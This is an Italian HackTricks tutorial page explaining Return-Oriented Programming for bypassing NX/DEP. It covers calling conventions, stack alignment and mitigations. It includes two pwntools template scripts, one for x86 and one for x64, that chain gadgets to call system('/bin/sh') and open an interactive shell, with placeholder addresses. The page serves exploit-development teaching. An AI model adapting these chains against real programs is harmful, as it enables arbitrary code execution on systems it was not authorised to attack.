.. | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Informazioni di Base
Return-Oriented Programming (ROP) è una tecnica avanzata di exploit utilizzata per aggirare misure di sicurezza come No-Execute (NX) o Data Execution Prevention (DEP). Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come "gadget". Ogni gadget termina tipicamente con un'istruzione ret
e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Concatenando questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, aggirando efficacemente le protezioni NX/DEP.
Come Funziona ROP
- Controllo del Flusso di Esecuzione: Innanzitutto, un attaccante deve dirottare il flusso di esecuzione di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
- Concatenazione di Gadget: L'attaccante seleziona attentamente e concatena i gadget per eseguire le azioni desiderate. Ciò potrebbe coinvolgere la configurazione degli argomenti per una chiamata di funzione, la chiamata della funzione (ad esempio,
system("/bin/sh")
), e la gestione di eventuali operazioni di pulizia o aggiuntive necessarie. - Esecuzione del Payload: Quando la funzione vulnerabile ritorna, anziché tornare a una posizione legittima, inizia ad eseguire la catena di gadget.
Strumenti
Tipicamente, i gadget possono essere trovati utilizzando ROPgadget, ropper o direttamente da pwntools (ROP).
ROP Chain in Esempio x86
Convenzioni di Chiamata x86 (32-bit)
- cdecl: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). Gli argomenti vengono spinti nello stack da destra a sinistra.
- stdcall: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack.
Ricerca di Gadget
Innanzitutto, supponiamo di aver identificato i gadget necessari all'interno del binario o delle sue librerie caricate. I gadget di nostro interesse sono:
pop eax; ret
: Questo gadget estrae il valore in cima allo stack nel registroEAX
e quindi ritorna, consentendoci di controllareEAX
.pop ebx; ret
: Simile al precedente, ma per il registroEBX
, consentendo il controllo suEBX
.mov [ebx], eax; ret
: Sposta il valore inEAX
nella posizione di memoria puntata daEBX
e quindi ritorna. Questo è spesso chiamato un gadget write-what-where.- Inoltre, abbiamo a disposizione l'indirizzo della funzione
system()
.
Catena ROP
Utilizzando pwntools, prepariamo lo stack per l'esecuzione della catena ROP come segue mirando ad eseguire system('/bin/sh')
, nota come la catena inizia con:
- Un'istruzione
ret
per scopi di allineamento (opzionale) - Indirizzo della funzione
system
(supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in Ret2lib) - Segnaposto per l'indirizzo di ritorno da
system()
- Indirizzo della stringa
"/bin/sh"
(parametro per la funzione system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Esempio di Catena ROP in x64
Convenzioni di chiamata x64 (64-bit)
- Utilizza la convenzione di chiamata System V AMD64 ABI su sistemi simili a Unix, dove i primi sei argomenti interi o puntatori vengono passati nei registri
RDI
,RSI
,RDX
,RCX
,R8
eR9
. Gli argomenti aggiuntivi vengono passati nello stack. Il valore di ritorno viene inserito inRAX
. - La convenzione di chiamata Windows x64 utilizza
RCX
,RDX
,R8
eR9
per i primi quattro argomenti interi o puntatori, con argomenti aggiuntivi passati nello stack. Il valore di ritorno viene inserito inRAX
. - Registri: I registri a 64 bit includono
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
eR8
aR15
.
Ricerca di Gadget
Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro RDI (per passare la stringa "/bin/sh" come argomento a system()) e quindi chiamare la funzione system(). Supponiamo di aver identificato i seguenti gadget:
- pop rdi; ret: Estrae il valore in cima allo stack in RDI e poi ritorna. Essenziale per impostare il nostro argomento per system().
- ret: Un semplice ritorno, utile per l'allineamento dello stack in alcuni scenari.
E conosciamo l'indirizzo della funzione system().
Catena ROP
Di seguito è riportato un esempio che utilizza pwntools per configurare ed eseguire una catena ROP mirata a eseguire system('/bin/sh') su x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
In questo esempio:
- Utilizziamo il gadget
pop rdi; ret
per impostareRDI
all'indirizzo di"/bin/sh"
. - Saltiamo direttamente a
system()
dopo aver impostatoRDI
, con l'indirizzo di system() nella catena. - Il gadget
ret_gadget
viene utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in x64 per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
Allineamento dello Stack
L'ABI x86-64 garantisce che lo stack sia allineato a 16 byte quando viene eseguita un'istruzione di chiamata. LIBC, per ottimizzare le prestazioni, utilizza istruzioni SSE (come movaps) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè RSP non è un multiplo di 16), le chiamate alle funzioni come system falliranno in una catena ROP. Per risolvere questo problema, aggiungi semplicemente un gadget ret prima di chiamare system nella tua catena ROP.
Differenza principale tra x86 e x64
{% hint style="success" %} Poiché x64 utilizza registri per i primi argomenti, spesso richiede meno gadget rispetto a x86 per chiamate di funzioni semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. Il numero maggiore di registri e lo spazio degli indirizzi più ampio nell'architettura x64 offrono sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP). {% endhint %}
Esempio di catena ROP in ARM64
Principi di base e convenzioni di chiamata ARM64
Controlla la seguente pagina per questa informazione:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Protezioni contro la ROP
- ASLR e PIE: Queste protezioni rendono più difficile l'uso della ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
- Stack Canaries: In caso di BOF, è necessario aggirare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
- Mancanza di Gadget: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP.
Tecniche basate su ROP
Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi sulla ROP, sono state sviluppate molte tecniche Ret2XXX:
- Ret2lib: Utilizza la ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come
system('/bin/sh')
.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: Utilizza la ROP per preparare una chiamata a una syscall, ad es.
execve
, e far eseguire comandi arbitrari.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret & EBP Chaining: Il primo sfrutterà EBP invece di EIP per controllare il flusso e il secondo è simile a Ret2lib ma in questo caso il flusso è controllato principalmente con gli indirizzi EBP (anche se è necessario controllare anche EIP).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Altri Esempi e Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie e nx abilitato, nessun canary, sovrascrive RIP con un indirizzo
vsyscall
con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rilascia il flag - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al codice shell nello stack